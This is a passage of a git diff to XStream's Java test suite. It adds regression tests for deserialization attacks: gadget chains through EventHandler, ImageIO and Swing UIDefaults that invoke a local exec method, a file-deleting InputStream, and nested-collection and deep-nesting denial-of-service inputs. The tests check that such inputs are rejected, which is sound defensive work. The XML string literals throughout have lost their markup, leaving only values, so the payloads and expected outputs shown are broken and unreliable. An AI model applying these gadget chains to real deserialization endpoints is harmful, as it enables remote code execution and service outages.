PropertyPermission("jdk.internal.lambda.dumpProxyClasses", "read")); sm.addPermission(source, new PropertyPermission("jdk.util.TimeZone.allowSetDefault", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.cdataChunkSize", "read")); sm.addPermission(source, new PropertyPermission("jdk.xml.elementAttributeLimit", "read")); sm.addPermission(source, new PropertyPermission("jdk.xml.entityExpansionLimit", "read")); sm.addPermission(source, new PropertyPermission("jdk.xml.entityReplacementLimit", "read")); @@ -190,9 +297,13 @@ public void testSerializeWithDomDriverAndPureJavaReflectionProviderAndActiveSecu sm.addPermission(source, new PropertyPermission("jdk.xml.maxParameterEntitySizeLimit", "read")); sm.addPermission(source, new PropertyPermission("jdk.xml.maxOccurLimit", "read")); sm.addPermission(source, new PropertyPermission("jdk.xml.maxXMLNameLimit", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.overrideDefaultParser", "read")); + sm.addPermission(source, new PropertyPermission("jdk.xml.resetSymbolTable", "read")); sm.addPermission(source, new PropertyPermission("jdk.xml.totalEntitySizeLimit", "read")); sm.addPermission(source, new PropertyPermission("maxOccurLimit", "read")); sm.addPermission(source, new PropertyPermission("sun.boot.class.path", "read")); + sm.addPermission(source, new PropertyPermission("sun.io.serialization.extendedDebugInfo", "read")); + sm.addPermission(source, new PropertyPermission("sun.jnu.encoding", "read")); sm.addPermission(source, new PropertyPermission("sun.nio.fs.chdirAllowed", "read")); sm.addPermission(source, new PropertyPermission("sun.timezone.ids.oldmapping", "read")); sm.addPermission(source, new PropertyPermission("user.country", "read")); @@ -200,32 +311,33 @@ public void testSerializeWithDomDriverAndPureJavaReflectionProviderAndActiveSecu sm.addPermission(source, new PropertyPermission("user.timezone", "read,write")); sm.addPermission(source, new NetPermission("specifyStreamHandler")); sm.addPermission(source, new ReflectPermission("suppressAccessChecks")); + sm.addPermission(source, new SerializablePermission("enableSubclassImplementation")); sm.setReadOnly(); System.setSecurityManager(sm); xstream = new XStream(new PureJavaReflectionProvider(), new DomDriver()); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); assertBothWays(); } private void assertBothWays() { - + xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName() + ".*objects.**"); + xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); xstream.alias("software", Software.class); final Software sw = new Software("jw", "xstr"); - final String xml = "\n" - + " jw\n" - + " xstr\n" - + ""; + final String xml = ""// + + "\n" + + " jw\n" + + " xstr\n" + + ""; - String resultXml = xstream.toXML(sw); + final String resultXml = xstream.toXML(sw); assertEquals(xml, resultXml); - Object resultRoot = xstream.fromXML(resultXml); + final Object resultRoot = xstream.fromXML(resultXml); if (!sw.equals(resultRoot)) { - assertEquals("Object deserialization failed", "DESERIALIZED OBJECT\n" - + xstream.toXML(sw), "DESERIALIZED OBJECT\n" + xstream.toXML(resultRoot)); + assertEquals("Object deserialization failed", "DESERIALIZED OBJECT\n" + xstream.toXML(sw), + "DESERIALIZED OBJECT\n" + xstream.toXML(resultRoot)); } } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java b/xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java index 5b34739a6..ec2cfaa5b 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2014, 2017 XStream Committers. + * Copyright (C) 2013, 2014, 2017, 2018, 2020, 2021, 2022, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,10 +11,28 @@ package com.thoughtworks.acceptance; import java.beans.EventHandler; +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.Map; +import java.util.Set; -import com.thoughtworks.xstream.XStreamException; +import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.converters.ConversionException; +import com.thoughtworks.xstream.core.JVM; +import com.thoughtworks.xstream.io.binary.BinaryStreamDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; import com.thoughtworks.xstream.security.ForbiddenClassException; +import com.thoughtworks.xstream.security.InputManipulationException; import com.thoughtworks.xstream.security.ProxyTypePermission; @@ -48,9 +66,9 @@ public void testCannotInjectEventHandler() { try { xstream.fromXML(xml); - fail("Thrown " + XStreamException.class.getName() + " expected"); - } catch (final XStreamException e) { - assertTrue(e.getMessage().contains(EventHandler.class.getName())); + fail("Thrown " + ForbiddenClassException.class.getName() + " expected"); + } catch (final ForbiddenClassException e) { + // OK } assertEquals(0, BUFFER.length()); } @@ -69,12 +87,132 @@ public void testExplicitlyConvertEventHandler() { xstream.allowTypes(EventHandler.class); - final Runnable[] array = (Runnable[])xstream.fromXML(xml); + final Runnable[] array = xstream.fromXML(xml); assertEquals(0, BUFFER.length()); array[0].run(); assertEquals("Executed!", BUFFER.toString()); } + public void testExplicitlyConvertImageIOContainsFilter() { + final String xml = "" + + "\n" + + " \n" + + " 0\n" + + " 1\n" + + " 1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec\n" + + " exec\n" + + " \n" + + " \n" + + " exec\n" + + " \n" + + " \n" + + ""; + + xstream.allowTypes("javax.imageio.ImageIO$ContainsFilter"); + xstream.allowTypeHierarchy(Iterator.class); + + final Iterator iterator = xstream.fromXML(xml); + assertEquals(0, BUFFER.length()); + iterator.next(); + assertEquals("Executed!", BUFFER.toString()); + } + + public void testExplicitlyConvertSwingUIDefaults() { + final String xml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1.0\n" + + " 12\n" + + " \n" + + " 16\n" + + " 1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 0.75\n" + + " 525\n" + + " \n" + + " 700\n" + + " 1\n" + + " 1\n" + + " \n" + + " sun.reflect.misc.MethodUtil\n" + + " invoke\n" + + " \n" + + " \n" + + " sun.reflect.misc.MethodUtil\n" + + " invoke\n" + + " \n" + + " java.lang.reflect.Method\n" + + " java.lang.Object\n" + + " [Ljava.lang.Object;\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " com.thoughtworks.acceptance.SecurityVulnerabilityTest$Exec\n" + + " exec\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " zh_CN\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1.0\n" + + " 12\n" + + " \n" + + " 16\n" + + " 1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1\n" + + " \n" + + ""; + + xstream.allowTypes("javax.activation.MimeTypeParameterList", "javax.swing.UIDefaults$ProxyLazyValue"); + + assertEquals(0, BUFFER.length()); + final Hashtable hashtable = xstream.fromXML(xml); + assertEquals(JVM.isVersion(16) ? "" : "Executed!", BUFFER.toString()); + assertNotNull(hashtable); + } + public static class Exec { public void exec() { @@ -82,7 +220,18 @@ public void exec() { } } + public void testInstanceOfVoid() { + try { + xstream.fromXML(""); + fail("Thrown " + ForbiddenClassException.class.getName() + " expected"); + } catch (final ForbiddenClassException e) { + // OK + } + } + public void testDeniedInstanceOfVoid() { + xstream.addPermission(AnyTypePermission.ANY); // clear out defaults + xstream.denyTypes(void.class, Void.class); try { xstream.fromXML(""); fail("Thrown " + ForbiddenClassException.class.getName() + " expected"); @@ -100,4 +249,307 @@ public void testAllowedInstanceOfVoid() { assertEquals("void", e.get("construction-type")); } } + + public void testCannotUseJaxwsInputStreamToDeleteFile() { + final String xml = "" + + "\n" + + " target/junit/test.txt\n" + + ""; + + xstream.aliasType("is", InputStream.class); + try { + xstream.fromXML(xml); + fail("Thrown " + ForbiddenClassException.class.getName() + " expected"); + } catch (final ForbiddenClassException e) { + // OK + } + } + + public void testExplicitlyUseJaxwsInputStreamToDeleteFile() throws IOException { + final File testDir = new File("target/junit"); + final File testFile = new File(testDir, "test.txt"); + try { + testDir.mkdirs(); + + final OutputStream out = new FileOutputStream(testFile); + out.write("JUnit".getBytes()); + out.flush(); + out.close(); + + assertTrue("Test file " + testFile.getPath() + " does not exist.", testFile.exists()); + + final String xml = "" + + "\n" + + " target/junit/test.txt\n" + + ""; + + xstream.addPermission(AnyTypePermission.ANY); // clear out defaults + xstream.aliasType("is", InputStream.class); + + InputStream is = null; + try { + is = (InputStream)xstream.fromXML(xml); + } catch (final ForbiddenClassException e) { + // OK + } + + assertTrue("Test file " + testFile.getPath() + " no longer exists.", testFile.exists()); + + final byte[] data = new byte[10]; + is.read(data); + is.close(); + + assertFalse("Test file " + testFile.getPath() + " still exists exist.", testFile.exists()); + } finally { + if (testFile.exists()) { + testFile.delete(); + } + if (testDir.exists()) { + testDir.delete(); + } + } + } + + public void testCannotInjectManipulatedByteArrayInputStream() { + xstream.alias("bais", ByteArrayInputStream.class); + final String xml = "" + + "\n" + + " \n" + + " -2147483648\n" + + " 0\n" + + " 0\n" + + ""; + + try { + xstream.fromXML(xml); + fail("Thrown " + ForbiddenClassException.class.getName() + " expected"); + } catch (final ForbiddenClassException e) { + assertEquals(e.getMessage(), ByteArrayInputStream.class.getName()); + } + } + + public void testExplicitlyUnmarshalEndlessByteArrayInputStream() throws IOException { + xstream.alias("bais", ByteArrayInputStream.class); + xstream.allowTypes(ByteArrayInputStream.class); + + final String xml = "" + + "\n" + + " \n" + + " -2147483648\n" + + " 0\n" + + " 0\n" + + ""; + + final byte[] data = new byte[10]; + try (final ByteArrayInputStream bais = (ByteArrayInputStream)xstream.fromXML(xml)) { + int i = 5; + while (bais.read(data, 0, 10) == 0) { + if (--i == 0) { + break; + } + } + assertEquals("Unlimited reads of ByteArrayInputStream returning 0 bytes expected", 0, i); + } + } + + public void testDoSAttackWithHashSet() { + final Set set = new HashSet<>(); + Set s1 = set; + Set s2 = new HashSet<>(); + for (int i = 0; i < 30; i++) { + final Set t1 = new HashSet<>(); + final Set t2 = new HashSet<>(); + t1.add("a"); + t2.add("b"); + s1.add(t1); + s1.add(t2); + s2.add(t2); + s2.add(t1); + s1 = t1; + s2 = t2; + } + + xstream.setCollectionUpdateLimit(5); + final String xml = xstream.toXML(set); + try { + xstream.fromXML(xml); + fail("Thrown " + InputManipulationException.class.getName() + " expected"); + } catch (final InputManipulationException e) { + assertTrue("Limit expected in message", e.getMessage().contains("exceeds 5 seconds")); + } + } + + public void testDoSAttackWithLinkedHashSet() { + final Set set = new LinkedHashSet<>(); + Set s1 = set; + Set s2 = new LinkedHashSet<>(); + for (int i = 0; i < 30; i++) { + final Set t1 = new LinkedHashSet<>(); + final Set t2 = new LinkedHashSet<>(); + t1.add("a"); + t2.add("b"); + s1.add(t1); + s1.add(t2); + s2.add(t2); + s2.add(t1); + s1 = t1; + s2 = t2; + } + + xstream.setCollectionUpdateLimit(5); + final String xml = xstream.toXML(set); + try { + xstream.fromXML(xml); + fail("Thrown " + InputManipulationException.class.getName() + " expected"); + } catch (final InputManipulationException e) { + assertTrue("Limit expected in message", e.getMessage().contains("exceeds 5 seconds")); + } + } + + public void testDoSAttackWithHashMap() { + final Map map = new HashMap<>(); + Map m1 = map; + Map m2 = new HashMap<>(); + for (int i = 0; i < 25; i++) { + final Map t1 = new HashMap<>(); + final Map t2 = new HashMap<>(); + t1.put("a", "b"); + t2.put("c", "d"); + m1.put(t1, t2); + m1.put(t2, t1); + m2.put(t2, t1); + m2.put(t1, t2); + m1 = t1; + m2 = t2; + } + xstream.setCollectionUpdateLimit(5); + + final String xml = xstream.toXML(map); + try { + xstream.fromXML(xml); + fail("Thrown " + InputManipulationException.class.getName() + " expected"); + } catch (final InputManipulationException e) { + assertTrue("Limit expected in message", e.getMessage().contains("exceeds 5 seconds")); + } + } + + public void testDoSAttackWithLinkedHashMap() { + final Map map = new LinkedHashMap<>(); + Map m1 = map; + Map m2 = new LinkedHashMap<>(); + for (int i = 0; i < 25; i++) { + final Map t1 = new LinkedHashMap<>(); + final Map t2 = new LinkedHashMap<>(); + t1.put("a", "b"); + t2.put("c", "d"); + m1.put(t1, t2); + m1.put(t2, t1); + m2.put(t2, t1); + m2.put(t1, t2); + m1 = t1; + m2 = t2; + } + + xstream.setCollectionUpdateLimit(5); + final String xml = xstream.toXML(map); + try { + xstream.fromXML(xml); + fail("Thrown " + InputManipulationException.class.getName() + " expected"); + } catch (final InputManipulationException e) { + assertTrue("Limit expected in message", e.getMessage().contains("exceeds 5 seconds")); + } + } + + public void testDoSAttackWithHashtable() { + final Map map = new Hashtable<>(); + Map m1 = map; + Map m2 = new Hashtable<>(); + for (int i = 0; i < 100; i++) { + final Map t1 = new Hashtable<>(); + final Map t2 = new Hashtable<>(); + t1.put("a", "b"); + t2.put("c", "d"); + m1.put(t1, t2); + m1.put(t2, t1); + m2.put(t2, t1); + m2.put(t1, t2); + m1 = t1; + m2 = t2; + } + + xstream.setCollectionUpdateLimit(5); + final String xml = xstream.toXML(map); + try { + xstream.fromXML(xml); + fail("Thrown " + InputManipulationException.class.getName() + " expected"); + } catch (final InputManipulationException e) { + assertTrue("Limit expected in message", e.getMessage().contains("exceeds 5 seconds")); + } + } + + public void testStackOverflowWithRecursiveHashSet() { + final String xml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " a\n" + + " \n" + + " \n" + + " b\n" + + " \n" + + " \n" + + " \n" + + " c\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + + try { + xstream.fromXML(xml); + fail("Thrown " + InputManipulationException.class.getName() + " expected"); + } catch (final InputManipulationException e) { + assertTrue(e.getMessage().contains("Stack Overflow")); + } + } + + public void testStackOverflowWithDeeplyNestedStructure() { + final StringBuffer xml = new StringBuffer(); + int i = 0; + for (; i < 10000; ++i) { + xml.append(""); + } + for (; i > 0; --i) { + xml.append(""); + } + + try { + xstream.fromXML(xml.toString()); + fail("Thrown " + InputManipulationException.class.getName() + " expected"); + } catch (final InputManipulationException e) { + assertTrue(e.getMessage().contains("Stack Overflow")); + } + } + + public void testStackOverflowInBinaryStreamReaderWithManipulatedInputData() { + final byte[] byteArray = new byte[36000]; + for (int i = 0; i < byteArray.length / 4; i++) { + byteArray[i * 4] = 10; + byteArray[i * 4 + 1] = -127; + byteArray[i * 4 + 2] = 0; + byteArray[i * 4 + 3] = 0; + } + + try { + xstream = new XStream(new BinaryStreamDriver()); + xstream.fromXML(new ByteArrayInputStream(byteArray)); + } catch (final InputManipulationException e) { + assertTrue(e.getMessage().indexOf("two mapping tokens") >= 0); + } + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/SerializationCallbackOrderTest.java b/xstream/src/test/com/thoughtworks/acceptance/SerializationCallbackOrderTest.java index 7d8edb148..87eb52b8d 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/SerializationCallbackOrderTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/SerializationCallbackOrderTest.java @@ -1,29 +1,30 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 02. February 2005 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.xstream.testutil.CallLog; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectInputValidation; import java.io.ObjectOutputStream; import java.io.Serializable; +import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; +import com.thoughtworks.xstream.converters.reflection.SerializableConverter; +import com.thoughtworks.xstream.testutil.CallLog; + + public class SerializationCallbackOrderTest extends AbstractAcceptanceTest { - // static so it can be accessed by objects under test, without them needing a reference back to the testcase + // static so it can be accessed by objects under test, without them needing a reference back to the test case private static CallLog log = new CallLog(); @Override @@ -31,19 +32,20 @@ protected void setUp() throws Exception { super.setUp(); log.reset(); } - // --- Sample class hierarchy - public static class PrivateBase implements Serializable{ + public static class PrivateBase implements Serializable { - private void writeObject(ObjectOutputStream out) throws IOException { + private static final long serialVersionUID = 200502L; + + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("PrivateBase.writeObject() start"); out.defaultWriteObject(); log.actual("PrivateBase.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("PrivateBase.readObject() start"); in.defaultReadObject(); log.actual("PrivateBase.readObject() end"); @@ -60,15 +62,17 @@ private Object readResolve() { } } - public static class PrivateChildOwnRR extends PrivateBase implements Serializable{ + public static class PrivateChildOwnRR extends PrivateBase implements Serializable { + + private static final long serialVersionUID = 200502L; - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("PrivateChildOwnRR.writeObject() start"); out.defaultWriteObject(); log.actual("PrivateChildOwnRR.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("PrivateChildOwnRR.readObject() start"); in.defaultReadObject(); log.actual("PrivateChildOwnRR.readObject() end"); @@ -85,30 +89,34 @@ private Object readResolve() { } } - public static class PrivateChildNoRR extends PrivateBase implements Serializable{ + public static class PrivateChildNoRR extends PrivateBase implements Serializable { + + private static final long serialVersionUID = 201410L; - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("PrivateChildNoRR.writeObject() start"); out.defaultWriteObject(); log.actual("PrivateChildNoRR.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("PrivateChildNoRR.readObject() start"); in.defaultReadObject(); log.actual("PrivateChildNoRR.readObject() end"); } } - - public static class ProtectedBase implements Serializable{ - private void writeObject(ObjectOutputStream out) throws IOException { + public static class ProtectedBase implements Serializable { + + private static final long serialVersionUID = 201410L; + + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("ProtectedBase.writeObject() start"); out.defaultWriteObject(); log.actual("ProtectedBase.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("ProtectedBase.readObject() start"); in.defaultReadObject(); log.actual("ProtectedBase.readObject() end"); @@ -125,15 +133,17 @@ protected Object readResolve() { } } - public static class ProtectedChildOwnRR extends ProtectedBase implements Serializable{ + public static class ProtectedChildOwnRR extends ProtectedBase implements Serializable { - private void writeObject(ObjectOutputStream out) throws IOException { + private static final long serialVersionUID = 201410L; + + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("ProtectedChildOwnRR.writeObject() start"); out.defaultWriteObject(); log.actual("ProtectedChildOwnRR.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("ProtectedChildOwnRR.readObject() start"); in.defaultReadObject(); log.actual("ProtectedChildOwnRR.readObject() end"); @@ -152,30 +162,34 @@ protected Object readResolve() { } } - public static class ProtectedChildInheritedRR extends ProtectedBase implements Serializable{ + public static class ProtectedChildInheritedRR extends ProtectedBase implements Serializable { + + private static final long serialVersionUID = 201410L; - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("ProtectedChildInheritedRR.writeObject() start"); out.defaultWriteObject(); log.actual("ProtectedChildInheritedRR.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("ProtectedChildInheritedRR.readObject() start"); in.defaultReadObject(); log.actual("ProtectedChildInheritedRR.readObject() end"); } } - - public static class PackageBase implements Serializable{ - private void writeObject(ObjectOutputStream out) throws IOException { + public static class PackageBase implements Serializable { + + private static final long serialVersionUID = 201410L; + + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("PackageBase.writeObject() start"); out.defaultWriteObject(); log.actual("PackageBase.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("PackageBase.readObject() start"); in.defaultReadObject(); log.actual("PackageBase.readObject() end"); @@ -192,15 +206,17 @@ Object readResolve() { } } - public static class PackageChildOwnRR extends PackageBase implements Serializable{ + public static class PackageChildOwnRR extends PackageBase implements Serializable { + + private static final long serialVersionUID = 201410L; - private void writeObject(ObjectOutputStream out) throws IOException { + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("PackageChildOwnRR.writeObject() start"); out.defaultWriteObject(); log.actual("PackageChildOwnRR.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("PackageChildOwnRR.readObject() start"); in.defaultReadObject(); log.actual("PackageChildOwnRR.readObject() end"); @@ -219,39 +235,91 @@ Object readResolve() { } } - public static class PackageChildInheritedRR extends PackageBase implements Serializable{ + public static class PackageChildInheritedRR extends PackageBase implements Serializable { - private void writeObject(ObjectOutputStream out) throws IOException { + private static final long serialVersionUID = 201410L; + + private void writeObject(final ObjectOutputStream out) throws IOException { log.actual("PackageChildInheritedRR.writeObject() start"); out.defaultWriteObject(); log.actual("PackageChildInheritedRR.writeObject() end"); } - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { log.actual("PackageChildInheritedRR.readObject() start"); in.defaultReadObject(); log.actual("PackageChildInheritedRR.readObject() end"); } } - // --- Convenience wrappers around Java Object Serialization + public static class UnserializableBase { + protected UnserializableBase() { + log.actual("UnserializableBase.UnserializableBase()"); + } + } + + public static class ChildUnserializableBase extends UnserializableBase implements Serializable { + + private static final long serialVersionUID = 202107L; - private byte[] javaSerialize(Object object) throws IOException { - ByteArrayOutputStream bytes = new ByteArrayOutputStream(); - ObjectOutputStream objectOutputStream = new ObjectOutputStream(bytes); - objectOutputStream.writeObject(object); - objectOutputStream.close(); - return bytes.toByteArray(); + public ChildUnserializableBase(final String s) { + log.actual("ChildUnserializableBase.ChildUnserializableBase(String)"); + } + + private void writeObject(final ObjectOutputStream out) throws IOException { + log.actual("ChildUnserializableBase.writeObject() start"); + out.defaultWriteObject(); + log.actual("ChildUnserializableBase.writeObject() end"); + } + + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { + log.actual("ChildUnserializableBase.readObject() start"); + in.defaultReadObject(); + log.actual("ChildUnserializableBase.readObject() end"); + } } - private Object javaDeserialize(byte[] data) throws IOException, ClassNotFoundException { - ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data)); - return objectInputStream.readObject(); + public static class ChildUnserializableBaseRR extends ChildUnserializableBase { + private static final long serialVersionUID = 202107L; + + private ChildUnserializableBaseRR() { + super(""); + log.actual("ChildUnserializableBaseRR.ChildUnserializableBaseRR()"); + } + + public ChildUnserializableBaseRR(final String s) { + super(s); + log.actual("ChildUnserializableBaseRR.ChildUnserializableBaseRR(String)"); + } + + private void writeObject(final ObjectOutputStream out) throws IOException { + log.actual("ChildUnserializableBaseRR.writeObject() start"); + out.defaultWriteObject(); + out.writeInt(42); + log.actual("ChildUnserializableBaseRR.writeObject() end"); + } + + private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { + log.actual("ChildUnserializableBaseRR.readObject() start"); + in.defaultReadObject(); + in.readInt(); + log.actual("ChildUnserializableBaseRR.readObject() end"); + } + + Object writeReplace() { + log.actual("ChildUnserializableBaseRR.writeReplace()"); + return this; + } + + Object readResolve() { + log.actual("ChildUnserializableBaseRR.readResolve()"); + return this; + } } // --- Tests - public void testJavaSerializationOwnPrivateRR() throws IOException { + public void testJavaSerializationOwnPrivateRR() { // expectations log.expect("PrivateChildOwnRR.writeReplace()"); log.expect("PrivateBase.writeObject() start"); @@ -260,13 +328,13 @@ public void testJavaSerializationOwnPrivateRR() throws IOException { log.expect("PrivateChildOwnRR.writeObject() end"); // execute - javaSerialize(new PrivateChildOwnRR()); + serialize(new PrivateChildOwnRR()); // verify log.verify(); } - public void testJavaSerializationNoRR() throws IOException { + public void testJavaSerializationNoRR() { // expectations log.expect("PrivateBase.writeObject() start"); log.expect("PrivateBase.writeObject() end"); @@ -274,13 +342,13 @@ public void testJavaSerializationNoRR() throws IOException { log.expect("PrivateChildNoRR.writeObject() end"); // execute - javaSerialize(new PrivateChildNoRR()); + serialize(new PrivateChildNoRR()); // verify log.verify(); } - public void testJavaSerializationOwnProtectedRR() throws IOException { + public void testJavaSerializationOwnProtectedRR() { // expectations log.expect("ProtectedChildOwnRR.writeReplace()"); log.expect("ProtectedBase.writeObject() start"); @@ -289,13 +357,13 @@ public void testJavaSerializationOwnProtectedRR() throws IOException { log.expect("ProtectedChildOwnRR.writeObject() end"); // execute - javaSerialize(new ProtectedChildOwnRR()); + serialize(new ProtectedChildOwnRR()); // verify log.verify(); } - public void testJavaSerializationInheritedRR() throws IOException { + public void testJavaSerializationInheritedRR() { // expectations log.expect("ProtectedBase.writeReplace()"); log.expect("ProtectedBase.writeObject() start"); @@ -304,13 +372,13 @@ public void testJavaSerializationInheritedRR() throws IOException { log.expect("ProtectedChildInheritedRR.writeObject() end"); // execute - javaSerialize(new ProtectedChildInheritedRR()); + serialize(new ProtectedChildInheritedRR()); // verify log.verify(); } - public void testJavaSerializationOwnPackageRR() throws IOException { + public void testJavaSerializationOwnPackageRR() { // expectations log.expect("PackageChildOwnRR.writeReplace()"); log.expect("PackageBase.writeObject() start"); @@ -319,13 +387,13 @@ public void testJavaSerializationOwnPackageRR() throws IOException { log.expect("PackageChildOwnRR.writeObject() end"); // execute - javaSerialize(new PackageChildOwnRR()); + serialize(new PackageChildOwnRR()); // verify log.verify(); } - public void testJavaSerializationInheritedPackageRR() throws IOException { + public void testJavaSerializationInheritedPackageRR() { // expectations log.expect("PackageBase.writeReplace()"); log.expect("PackageBase.writeObject() start"); @@ -334,7 +402,40 @@ public void testJavaSerializationInheritedPackageRR() throws IOException { log.expect("PackageChildInheritedRR.writeObject() end"); // execute - javaSerialize(new PackageChildInheritedRR()); + serialize(new PackageChildInheritedRR()); + + // verify + log.verify(); + } + + public void testJavaSerializationUnserializableBase() { + final Serializable object = new ChildUnserializableBase(""); + log.reset(); + + // expectations + log.expect("ChildUnserializableBase.writeObject() start"); + log.expect("ChildUnserializableBase.writeObject() end"); + + // execute + serialize(object); + + // verify + log.verify(); + } + + public void testJavaSerializationUnserializableBaseRR() { + final Serializable object = new ChildUnserializableBaseRR(""); + log.reset(); + + // expectations + log.expect("ChildUnserializableBaseRR.writeReplace()"); + log.expect("ChildUnserializableBase.writeObject() start"); + log.expect("ChildUnserializableBase.writeObject() end"); + log.expect("ChildUnserializableBaseRR.writeObject() start"); + log.expect("ChildUnserializableBaseRR.writeObject() end"); + + // execute + serialize(object); // verify log.verify(); @@ -429,9 +530,42 @@ public void testXStreamSerializationOwnInheritedPackageRR() { log.verify(); } - public void testJavaDeserializationOwnPrivateRR() throws IOException, ClassNotFoundException { + public void testXStreamSerializationUnserializableBase() { + final Serializable object = new ChildUnserializableBase(""); + log.reset(); + + // expectations + log.expect("ChildUnserializableBase.writeObject() start"); + log.expect("ChildUnserializableBase.writeObject() end"); + + // execute + xstream.toXML(object); + + // verify + log.verify(); + } + + public void testXStreamSerializationUnserializableBaseRR() { + final Serializable object = new ChildUnserializableBaseRR(""); + log.reset(); + + // expectations + log.expect("ChildUnserializableBaseRR.writeReplace()"); + log.expect("ChildUnserializableBase.writeObject() start"); + log.expect("ChildUnserializableBase.writeObject() end"); + log.expect("ChildUnserializableBaseRR.writeObject() start"); + log.expect("ChildUnserializableBaseRR.writeObject() end"); + + // execute + xstream.toXML(object); + + // verify + log.verify(); + } + + public void testJavaDeserializationOwnPrivateRR() { // setup - byte[] data = javaSerialize(new PrivateChildOwnRR()); + final byte[] data = serialize(new PrivateChildOwnRR()); log.reset(); // expectations @@ -442,15 +576,15 @@ public void testJavaDeserializationOwnPrivateRR() throws IOException, ClassNotFo log.expect("PrivateChildOwnRR.readResolve()"); // execute - javaDeserialize(data); + deserialize(data); // verify log.verify(); } - public void testJavaDeserializationNoRR() throws IOException, ClassNotFoundException { + public void testJavaDeserializationNoRR() { // setup - byte[] data = javaSerialize(new PrivateChildNoRR()); + final byte[] data = serialize(new PrivateChildNoRR()); log.reset(); // expectations @@ -460,15 +594,15 @@ public void testJavaDeserializationNoRR() throws IOException, ClassNotFoundExcep log.expect("PrivateChildNoRR.readObject() end"); // execute - javaDeserialize(data); + deserialize(data); // verify log.verify(); } - public void testJavaDeserializationOwnProtectedRR() throws IOException, ClassNotFoundException { + public void testJavaDeserializationOwnProtectedRR() { // setup - byte[] data = javaSerialize(new ProtectedChildOwnRR()); + final byte[] data = serialize(new ProtectedChildOwnRR()); log.reset(); // expectations @@ -479,15 +613,15 @@ public void testJavaDeserializationOwnProtectedRR() throws 